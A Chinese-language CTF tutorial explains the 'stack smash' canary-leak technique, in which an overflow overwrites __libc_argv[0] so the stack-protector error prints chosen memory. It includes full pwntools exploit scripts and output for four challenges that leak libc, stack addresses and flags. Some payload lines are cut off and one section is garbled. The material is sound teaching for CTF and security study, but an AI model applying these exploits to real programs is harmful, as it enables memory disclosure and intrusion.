作者:caps
基于报错类的栈保护
canary这个值被称作金丝雀(“canary”)值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。在brop中也提到过,通过爆破的办法去进行绕过canary保护,因为canary的值在每次程序运行时都是不同的,所以这需要一定的条件:fork的子进程不变,题目中很难遇到,所以我们可以使用stack smash的方法进行泄漏内容。canary位置位于高于局部变量,低于ESP,也就是在其中间,那么我们进行溢出攻击的时候,都会覆盖到canary的值,从而导致程序以外结束。具体看一下canary在哪?怎么形成的?又是怎么使用的?举一个小例子:
#include
void main(int argc, char **argv) {
char buf[10];
scanf("%s", buf);
}
pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector
看一下其汇编代码
Dump of assembler code for function main:
0x0000000000000740 <+0>: push rbp
0x0000000000000741 <+1>: mov rbp,rsp
0x0000000000000744 <+4>: sub rsp,0x30
0x0000000000000748 <+8>: mov DWORD PTR [rbp-0x24],edi
0x000000000000074b <+11>: mov QWORD PTR [rbp-0x30],rsi
0x000000000000074f <+15>: mov rax,QWORD PTR fs:0x28
0x0000000000000758 <+24>: mov QWORD PTR [rbp-0x8],rax
0x000000000000075c <+28>: xor eax,eax
0x000000000000075e <+30>: lea rax,[rbp-0x12]
0x0000000000000762 <+34>: mov rsi,rax
0x0000000000000765 <+37>: lea rdi,[rip+0xb8] # 0x824
0x000000000000076c <+44>: mov eax,0x0
0x0000000000000771 <+49>: call 0x5f0 <__isoc99_scanf@plt>
0x0000000000000776 <+54>: mov rax,QWORD PTR [rbp-0x30]
0x000000000000077a <+58>: lea rdx,[rip+0xa6] # 0x827
0x0000000000000781 <+65>: mov QWORD PTR [rax],rdx
0x0000000000000784 <+68>: nop
0x0000000000000785 <+69>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000000789 <+73>: xor rax,QWORD PTR fs:0x28
0x0000000000000792 <+82>: je 0x799
0x0000000000000794 <+84>: call 0x5e0 <__stack_chk_fail@plt>
0x0000000000000799 <+89>: leave
0x000000000000079a <+90>: ret
End of assembler dump.
找到<+15> <+24>和<+69><+73>处
? 0x000000000000074f <+15>: mov rax,QWORD PTR fs:0x28
0x0000000000000758 <+24>: mov QWORD PTR [rbp-0x8],rax
.....
0x0000000000000785 <+69>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000000789 <+73>: xor rax,QWORD PTR fs:0x28
前两处是生成canary并且存在[rbp-0x8]中,怎是通过从fs:0x28的地方获取的,而且发现每次都会变化,无法预测。后两处则是程序执行完成后对[rbp-0x8]canary值与fs:0x28的值进行比较,如果xor操作后rax寄存器中值为0,那么程序自己就认为是没有被破坏,否则调用__stack_chk_fail函数。继续看该函数的内容和作用,会引出stack smash利用技巧。
__attribute__ ((noreturn))
__stack_chk_fail (void) {
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg; {
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "")
}
libc_hidden_def (__fortify_fail)
最终会调用fortify_fail函数中的libc_message (2, "* %s *: %s terminated\n", msg, __libc_argv[0] ?: "
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out
*** stack smashing detected ***: ./a.out terminated
段错误
如果我们在程序中强行修改__libc_argv[0]会怎么样?
#include
void main(int argc, char **argv) {
char buf[10];
scanf("%s", buf);
argv[0] = "stack smash!";
}
pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out
*** stack smashing detected ***: stack smash! terminated
段错误
可以发现成功控制了__libc_argv[0]的值,打印出来了想要的信息。综上所述,这一种基于报错类的栈保护,恰恰是可以报错,所以存在stack smash的绕过方法。
stack smash原理
调试fortify_fail 函数,找到libc_message函数的部分汇编代码:
0x7ffff7b331d0 <__fortify_fail+16> mov rax, qword ptr [rip + 0x2a5121] <0x7ffff7dd82f8>
然后获取[rip+0x2a5121]的值,也就是存放__libc_argv[0]的内存单元。
对于这个例子来说,输入的长度达到0xf8字节,即可开始覆盖__libc_argv[0]的值,从而打印出来需要的信息,构造就相应的payload就行泄漏想要的内容,比如存储的flag内容、开启PIE的加载基址、canary的值等等。在一节里面,拿刚才的例子再做一个有意思的小实验:
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*247' | ./a.out
*** stack smashing detected ***: ./a.out terminated
段错误
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*248' | ./a.out
*** stack smashing detected ***: terminated
段错误
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*249' | ./a.out
*** stack smashing detected ***: terminated
段错误
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*250' | ./a.out
段错误
buf(0x7fffffffcd00)和__libc_argv0
处相距0xf8(也就是说第249位会覆盖到0x7fffffffcdf8),那么输入247、248、249、250会出现三种情况,分别看一下对应情况下0x7fffffffcdf8的值:
达不到覆盖的距离:
21:0108│ 0x7fffffffcdf8 —? 0x7fffffffd0d2 ?— '/home/pwn/Desktop/a.out'
刚好达到覆盖的距离,读入\x00刚好覆盖到:
21:0108│ 0x7fffffffcdf8 —? 0x7fffffffd000 ?— 9 /* '\t' */
覆盖形成的地址在内存中可以找到:
21:0108│ 0x7fffffffcdf8 —? 0x7fffffff0041 ?— 0x0
Cannot access memory at address 0x7fffff004141:
21:0108│ 0x7fffffffcdf8 ?— 0x7fffff004141 /* 'AA' */
因此在尝试寻找offset的时候,选择offset = 248。当然尝试的办法太慢了,直接gdb调试下断点,类似于例子中的distance 0x7fffffffcd00 0x7fffffffcdf8即可。
题目一
2015 年 32C3 CTF readme题目分析如下:
unsigned?__int64?sub_4007E0()
{
__int64 v0; // rbx
int v1; // eax
__int64 v3; // [rsp+0h] [rbp-128h]
unsigned __int64 v4; // [rsp+108h] [rbp-20h]
v4 = __readfsqword(0x28u);
__printf_chk(1LL, "Hello!\nWhat's your name? ");
if ( !_IO_gets(&v3) )
LABEL_9:
_exit(1);
v0 = 0LL;
__printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ");
while ( 1 )
{
v1 = _IO_getc(stdin);
if ( v1 == -1 )
goto LABEL_9;
if ( v1 == 10 )
break;
byte_600D20[v0++] = v1;
if ( v0 == 32 )
goto LABEL_8;
}
memset((void *)((signed int)v0 + 6294816LL), 0, (unsigned int)(32 - v0));
LABEL_8:
puts("Thank you, bye!");
return __readfsqword(0x28u) ^ v4;
}
pwn@pwn-PC:~/Desktop$ ./readme.bin
Hello!
What's your name? aaa
Nice to meet you, aaa.
Please overwrite the flag: aaa
Thank you, bye!
pwn@pwn-PC:~/Desktop$ checksec readme.bin
[*] '/home/pwn/Desktop/readme.bin'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
程序中存在两次输入,并且可以发现_IO_gets(&v3)处存在明显的栈溢出。尝试找到__libc_argv[0]的位置
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*0x128+"\n"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAA...
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*535+"\n"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAA...
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+"\n"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAA...
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: terminated
因此offset = 536。为了做题的效率,不可能去一个一个尝试,如下:
gdb-peda$ find /home
Searching for '/home' in: None ranges
Found 5 results, display max 5 items:
[stack] : 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")
[stack] : 0x7fffffffec71 ("/home/pwn/Desktop")
[stack] : 0x7fffffffec91 ("/home/pwn")
[stack] : 0x7fffffffef29 ("/home/pwn/.Xauthority")
[stack] : 0x7fffffffefdb ("/home/pwn/Desktop/readme.bin")
gdb-peda$ find 0x7fffffffd0c8
Searching for '0x7fffffffd0c8' in: None ranges
Found 2 results, display max 2 items:
libc : 0x7ffff7dd43b8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")
[stack] : 0x7fffffffcde8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")
gdb-peda$ distance $rsp 0x7fffffffcde8
From 0x7fffffffcbd0 to 0x7fffffffcde8: 536 bytes, 134 dwords
这个计算距离只是特例,最好是按照上一部分例子中的方法来计算,下断点,distance 地址1 地址2.
可以在IDA下发现.data段的变量
.data:0000000000600D20 byte_600D20 db 33h ; DATA XREF: sub_4007E0+6E↑w
.data:0000000000600D21 a2c3Theserverha db '2C3_TheServerHasTheFlagHere...',0
只需要将此变量进行显示即可,于是构造payload:
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("
没有成功,再看代码逻辑。
0x40083f: call 0x4006a0 <_IO_getc@plt>
0x400844: cmp eax,0xffffffff
0x400847: je 0x40089f
0x400849: cmp eax,0xa
0x40084c: je 0x400860
0x40084e: mov BYTE PTR [rbx+0x600d20],al
0x400854: add rbx,0x1
0x400858: cmp rbx,0x20
0x40085c: jne 0x400838
这是第二次输入的汇编部分,其中执行了mov BYTE PTR [rbx+0x600d20],al(此时rbx = 0),也就是byte_600D20[v0++] = v1,这就把byte_600D20变量循环覆盖掉,如下:
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("
但是当ELF文件比较小的时候,它的不同区段可能会被多次映射,在ELF内存映射的时候,bss段会被映射两次,也就是说flag有备份,我们可以使用另一处的地址进行输出,如下:
gdb-peda$ find 32C3
Searching for '32C3' in: None ranges
Found 2 results, display max 2 items:
readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")
此时选择0x400d20进行构造payload即可成功打印出来。
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("
由于题目在远程服务器上,而且LIBC_FATAL_STDERR=0,这个错误提示只会显示在远端,不会返回到我们这端。因此必须设置如下环境变量LIBC_FATAL_STDERR=1,才能实现将标准错误信息通过管道输出到远程shell中。因此,我们还必须设置该参数。那么环境变量在哪?有什么用?在libc_message函数的源代码可以看到LIBC_FATAL_STDERR_使用读取了环境变量libc_secure_getenv。如果它没有被设置、或者为空(\x00或NULL),那么stderr被重定向到_PATH_TTY(这通常是/dev/tty),因此将错误消息不被发送,只在服务器侧可见。位置在高于libc_argv[0]内存单元,且在libc_main[0]地址+8之后。因此exp:
from pwn import *
env_addr = 0x600d20
flag_addr = 0x400d20
r = process('./read.bin')
r.recvuntil("What's your name? ")
r.sendline("A"*536 + p64(flag_addr) + "A"*8 + p64(env_addr))
r.sendline("LIBC_FATAL_STDERR_=1")
r.recvuntil("*** stack smashing detected ***: ")
log.info("The flag is: %s" % r.recvuntil(" ").strip())
本地测试:
题目二
2018年网鼎杯中guess题目,相对于题目一,flag的位置在栈中而不是bss段,而且ASLR后地址是无法预测的。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
int v5; // [rsp+1Ch] [rbp-84h]
__int64 v6; // [rsp+20h] [rbp-80h]
__int64 v7; // [rsp+28h] [rbp-78h]
char buf; // [rsp+30h] [rbp-70h]
char s2; // [rsp+60h] [rbp-40h]
unsigned __int64 v10; // [rsp+98h] [rbp-8h]
v10 = __readfsqword(0x28u);
v7 = 3LL;
LODWORD(stat_loc.__uptr) = 0;
v6 = 0LL;
sub_4009A6();
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
close(SHIDWORD(stat_loc.__iptr));
puts("This is GUESS FLAG CHALLENGE!");
while ( 1 )
{
if ( v6 >= v7 )
{
puts("you have no sense... bye :-) ");
return 0LL;
}
v5 = sub_400A11();
if ( !v5 )
break;
++v6;
wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets(&s2);
if ( !strcmp(&buf, &s2) )
puts("You must have great six sense!!!! :-o ");
else
puts("You should take more effort to get six sence, and one more challenge!!");
return 0LL;
}
pwn@pwn-PC:~/Desktop$ checksec GUESS
[*] '/home/pwn/Desktop/GUESS'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
先捋一捋流程首先由于使用了gets,因此可以无限制溢出,并且有三次机会。然后发现flag.txt中flag值通过read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL)读入到了栈中,&buf处。最后开启了canary,可以使用stack smashing的方法泄漏处flag的值。那么怎样去构造呢?想要获取flag的值,就得获取buf的栈中的地址,因为ASLR的原因,那么需要先泄漏libc的基址,根据偏移去计算出加载后的栈中buf的地址。但是现在问题是得到了libc的的加载地址,怎么算出stack的加载地址,因为每次加载的时候,两者相距的长度变化的。解决的办法就是找一个与stack的加载地址的偏移量不变的参照物,或者说与buf的栈地址偏移量不变的参照物,此参照物可以根据已有的条件计算出实际的加载地址。此时就需要补充一个知识点:在libc中保存了一个函数叫environ,存的是当前进程的环境变量,environ指向的位置是栈中环境变量的地址,其中environ的地址 = libc基址 + _environ的偏移量,也就说在内存布局中,他们同属于一个段,开启ASLR之后相对位置不变,偏移量和libc库有关,environ的地址(&environ)和libc基址的偏移量是不会的,并且通过&environ找到_environ内存单元中的值是栈中环境变量的地址,根据此地址可以找到环境变量。
pwn@pwn-PC:~/Desktop$ objdump -d /usr/lib/x86_64-linux-gnu/libc-2.24.so | grep __environ
dc97d: 48 c7 05 c0 f5 2b 00 movq $0xfff,0x2bf5c0(%rip) # 39bf48 <__environ@@GLIBC_2.2.5+0x10>
.....
__environ在libc中的偏移量为0x39bf38。
这样一来,栈中environ的值和buf的栈地址的相对位置是固定的,可以根据environ的值-偏移量=buf的栈地址。那么程序中这三次输入分别是:第一次,通过泄露函数的got表内容,计算得到libc基址。第二次,通过libc基址和偏移量计算得到&environ,获取environ的值。第三次,通过_environ的值,计算出buf的栈地址,泄露buf中存储的flag的值。步骤如下:第一次泄漏libc基址
from pwn import *
# context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p = process('./GUESS')
elf = ELF("./GUESS")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gets_got = elf.got['gets']
# print hex(gets_got)
p.recvuntil('guessing flag\n')
payload = 'a' * 0x128 + p64(gets_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
gets_addr = u64(p.recv(6).ljust(0x8,'\x00'))
libc_base_addr = gets_addr - libc.symbols['gets']
print 'libc_base_addr: ' + hex(libc_base_addr)
pwn@pwn-PC:~/Desktop$ python exp.py
[+] Starting local process './GUESS': pid 28733
[*] '/home/pwn/Desktop/GUESS'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
libc_base_addr: 0x7ff71434f000
第二次泄漏_environ的值
environ_addr = libc_base_addr + libc.symbols['_environ']
# print 'environ_addr: ' + hex(environ_addr)
payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(0x8,'\x00'))
print 'stack_addr: '+hex(stack_addr)
pwn@pwn-PC:~/Desktop$ python exp.py
[+] Starting local process './GUESS': pid 29707
[*] '/home/pwn/Desktop/GUESS'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
libc_base_addr: 0x7f8d02122000
stack_addr: 0x7ffc5a61c908
第三次泄漏flag的值
计算出stack_addr和buf_addr的相距长度
pwndbg> distance 0x7fffffffcca0 0x7fffffffce08
0x7fffffffcca0->0x7fffffffce08 is 0x168 bytes (0x2d words)
payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)
p.recvuntil('Please type your guessing flag')
p.sendline(payload2)
p.recvuntil('stack smashing detected ***: ')
flag = p.recvline()
print 'flag:' + flag
pwn@pwn-PC:~/Desktop$ python exp.py
[+] Starting local process './GUESS': pid 29877
[*] '/home/pwn/Desktop/GUESS'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
libc_base_addr: 0x7f8d02122000
stack_addr: 0x7ffc5a61c908
flag: flag{stack_smash}
exp:
from pwn import *
# context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p = process('./GUESS')
elf = ELF("./GUESS")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gets_got = elf.got['gets']
# print hex(gets_got)
p.recvuntil('guessing flag\n')
payload = 'a' * 0x128 + p64(gets_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
gets_addr = u64(p.recv(6).ljust(0x8,'\x00'))
libc_base_addr = gets_addr - libc.symbols['gets']
print 'libc_base_addr: ' + hex(libc_base_addr)
environ_addr = libc_base_addr + libc.symbols['_environ']
# print 'environ_addr: ' + hex(environ_addr)
payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(0x8,'\x00'))
print 'stack_addr: '+hex(stack_addr)
payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)
p.recvuntil('Please type your guessing flag')
p.sendline(payload2)
p.recvuntil('stack smashing detected ***: ')
flag = p.recvline()
print 'flag:' + flag
题目三
Jarvis OJ中的smashes,与题目一一样,但是可以直接在本地显示错误信息,只是提供了一个复现场景
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("
exp:
from pwn import *
p=remote("pwn.jarvisoj.com","9877")
p.recvuntil("name?");
flag_addr=0x400d20
payload='a'*0x218+p64(flag_addr)+'\n'
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
flag = p.recvline()
print flag
pwn@pwn-PC:~/Desktop$ python exp.py
[+] Opening connection to pwn.jarvisoj.com on port 9877: Done
PCTF{57dErr_Smasher_good_work!} terminated
[*] Closed connection to pwn.jarvisoj.com port 9877
````
题目四
main函数中存在栈溢出,源码如下:
int __cdecl main(int argc, const char?argv, const char?envp){ ?__int64 v4; //?rsp+18h??char v5; //?rsp+20h??char v6; //?rsp+A0h??unsigned __int64 v7; //?rsp+128h
?v7 = __readfsqword(0x28u); ?putenv("LIBC_FATAL_STDERR_=1", argv, envp); ?v4 = fopen64("flag.txt", "r"); ?if ( v4 ) ?{ ? ?fgets(&v5, 32LL, v4); ? ?fclose(v4); ? ?printf((unsigned __int64)"Interesting data loaded at %p\nYour username? "); ? ?fflush(0LL, &v5); ? ?read(0LL, &v6, 1024LL); ?} ?else ?{ ? ?puts("Error leyendo datos"); ?} ?return 0;}
pwn@pwn-PC:~/Desktop$ checksec xpl[*] '/home/pwn/Desktop/xpl' ? ?Arch: ? ? amd64-64-little ? ?RELRO: ? ?Partial RELRO ? ?Stack: ? ?Canary found ? ?NX: ? ? ? NX enabled ? ?PIE: ? ? ?No PIE (0x400000)
pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ? ? ? ? ?0x400000 ? ? ? ? ? 0x4c0000 r-xp ? ?c0000 0 ? ? ?/home/pwn/Desktop/xpl ? ? ? ? ?0x6bf000 ? ? ? ? ? 0x6c2000 rw-p ? ? 3000 bf000 ?/home/pwn/Desktop/xpl ? ? ? ? ?0x6c2000 ? ? ? ? ? 0x6e8000 rw-p ? ?26000 0 ? ? ?[heap] ? ?0x7ffff7ffa000 ? ? 0x7ffff7ffd000 r--p ? ? 3000 0 ? ? ?[vvar] ? ?0x7ffff7ffd000 ? ? 0x7ffff7fff000 r-xp ? ? 2000 0 ? ? ?[vdso] ? ?0x7ffffffdd000 ? ? 0x7ffffffff000 rw-p ? ?22000 0 ? ? ?[stack]0xffffffffff600000 0xffffffffff601000 r-xp ? ? 1000 0 ? ? ?[vsyscall]
开启了ASLR,并且可以知道程序将flag.txt的flag值存放在了char v5 //[rsp+20h] [rbp-110h]中,这看起来与题目二相似,可以使用其思路,但是vmmap发现这没有动态编译,那么此思路就pass掉,再去找其他的办法,百思不得其解时,运行一下程序,发现会输出一个地址,回过头去看代码才发现因自己的知识储备太少,没有注意到prinf的中%p的是匹配的哪。
pwn@pwn-PC:~/Desktop$ ./xpl Interesting data loaded at 0x7ffe65dfcfd0Your username?
源码:printf((unsigned __int64)"Interesting data loaded at %p\nYour username? ");
调试:? 0x4010d9 ? ?lea ? ?rax, [rbp - 0x110] ? 0x4010e0 ? ?mov ? ?rsi, rax ? 0x4010e3 ? ?mov ? ?edi, 0x493b28 ? 0x4010e8 ? ?mov ? ?eax, 0 ? 0x4010ed ? ?call ? printf?<0x408770>?? ? ? ?format: 0x493b28 ?— 'Interesting data loaded at %p\nYour username? ' ? ? ? ?vararg: 0x7fffffffcc00 ?— 'flag{stack_smash}\n'
? 0x4010f2 ? ?mov ? ?edi, 0 ? 0x4010f7 ? ?call ? fflush?<0x408c90>
? 0x4010fc ? ?lea ? ?rax, [rbp - 0x90] ? 0x401103 ? ?mov ? ?edx, 0x400 ? 0x401108 ? ?mov ? ?rsi, rax────────────────────────[ STACK ]────────────────────────00:0000│ rsp ?0x7fffffffcbe0 —? 0x7fffffffcdf8 —? 0x7fffffffd0d6 ?— '/home/pwn/Desktop/xpl'01:0008│ ? ? ?0x7fffffffcbe8 ?— 0x10000000002:0010│ ? ? ?0x7fffffffcbf0 ?— 0x003:0018│ ? ? ?0x7fffffffcbf8 —? 0x6c7d40 ?— 0x004:0020│ rsi ?0x7fffffffcc00 ?— 'flag{stack_smash}\n'05:0028│ ? ? ?0x7fffffffcc08 ?— 'ck_smash}\n'06:0030│ ? ? ?0x7fffffffcc10 ?— 0xa7d /* '}\n' */07:0038│ ? ? ?0x7fffffffcc18 —? 0x401840 (__libc_csu_fini) ?— push ? rbx
发现程序一开始输出的地址,就是v5所在的栈地址,也就是flag的地址,步骤如下:
找到__libc_argv[0]的地址:
43:0218│ rsi ?0x7fffffffcdf8 —? 0x7fffffffd0d6 ?— '/home/pwn/Desktop/xpl'
计算出偏移量:
pwndbg> i r rbprbp ? ? ? ? ? ?0x7fffffffcd10 ? 0x7fffffffcd10pwndbg> x /gx 0x7fffffffcd10-0x900x7fffffffcc80: 0x000000037ffffa00pwndbg> distance 0x7fffffffcc80 0x7fffffffcdf80x7fffffffcc80->0x7fffffffcdf8 is 0x178 bytes (0x2f words)
获取flag:
from pwn import *
sh = process('./xpl')data = sh.recvuntil("username?")address = p64(int(data.split()[4], 16))sh.send("A"*0x178 + address)print sh.recvline()
pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './xpl': pid 4363?* stack smashing detected *: flag{stack_smash}
推荐实操作业:
高级栈溢出技术—ROP实战(split) ,复制下方链接操作!
https://www.hetianlab.com/expc.do?ec=ECID6ad0-420b-4984-bb6b-435b5cfd2432&pk_campaign=toutiao-wemedia#stu